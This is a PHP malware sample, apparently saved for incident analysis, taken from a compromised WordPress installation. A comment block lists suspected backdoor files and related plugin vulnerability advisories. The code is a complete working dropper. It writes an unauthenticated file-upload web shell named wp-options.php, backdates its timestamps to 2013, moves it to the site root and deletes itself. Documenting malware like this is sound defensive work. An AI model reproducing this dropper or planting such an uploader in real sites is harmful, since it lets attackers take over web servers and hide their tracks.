frommshead.php

/* Found suspicious backdoor that modifies wp-options.php in wp-admin directory, moves it to WordPress root, then removes itself. Placed by an unknown backdoor and sits silently for a request directly to frommhead.php.

Possible backdoors may be cmdshell files, maldet found these files in production:
wp-includes/js/thickbox/rvbt28.php
wp-includes/class-wp-xmlrpc.php
wp-content/themes/agentpress/mtgh.php

Backdoors may have been placed by one or more vulnerabilities. A couple to note that were found in production but not 100% certain which exploit was used:
http://blog.sucuri.net/2014/12/security-advisory-high-severity-wordpress-download-manager.html
http://blog.sucuri.net/2014/12/revslider-vulnerability-leads-to-massive-wordpress-soaksoak-compromise.html

One backdoor has placed eval(base64_decode) in the footer.php of all directories /themes/ and leaves a comment stating it's wp cache code. May be unrelated to frommshead.php but could have used one of the backdoors listed above.

Still seeking possible backdoors that have evaded maldet.
*/

<?php

$DEBUG_MODE=false;

// Creating wp-admin/wp-options.php (uploader)

$file_data_head ="<?php
if(isset(#_POST['Submit'])){
    #filedir = '';
    #maxfile = '2888888';

    #userfile_name = #_FILES['image']['name'];
    #userfile_tmp = #_FILES['image']['tmp_name'];
    if (isset(#_FILES['image']['name'])) {
        #abod = #filedir.#userfile_name;
        @move_uploaded_file(#userfile_tmp, #abod);

}
}
else{
echo'<form method=\"POST\" action=\"\" enctype=\"multipart/form-data\"><input type=\"file\" name=\"image\"><input type=\"Submit\" name=\"Submit\" value=\"Submit\"></form>';
}
?>";

echo"<br>---------------------------- Create wp-admin/wp-options.php (uploader) ---------------------------------<br><br>";
if (file_put_contents("wp-optionstmp.php", str_replace("#", "$", $file_data_head))) {
touch("wp-optionstmp.php", mktime(12, 17, 11, 12, 31, 2013));
        echo"Proceeded: ".$start."/wp-admin/wp-options.php > Succesfull<br>";
} else {
        echo"Proceeded: ".$start."/wp-admin/wp-options.php > Error!<br>";
}

$file = 'wp-optionstmp.php';
$newfile = '../wp-options.php';

echo"<br>---------------------------- Move wp-admin/wp-options.php > To root folder ---------------------------------<br><br>";
if (rename($file,$newfile)) {
touch("../wp-options.php", mktime(12, 17, 11, 12, 31, 2013));
        echo"Proceeded: ".$start."/wp-options.php > Succesfull<br>";
} else {
        echo"Proceeded: ".$start."/wp-options.php > Error!<br>";
}

$file='frommshead.php';

echo"<br>---------------------------- Remove frommshead.php (Remove files) ---------------------------------<br><br>";
touch("frommshead.php", mktime(12, 17, 11, 12, 31, 2013));
unlink($file);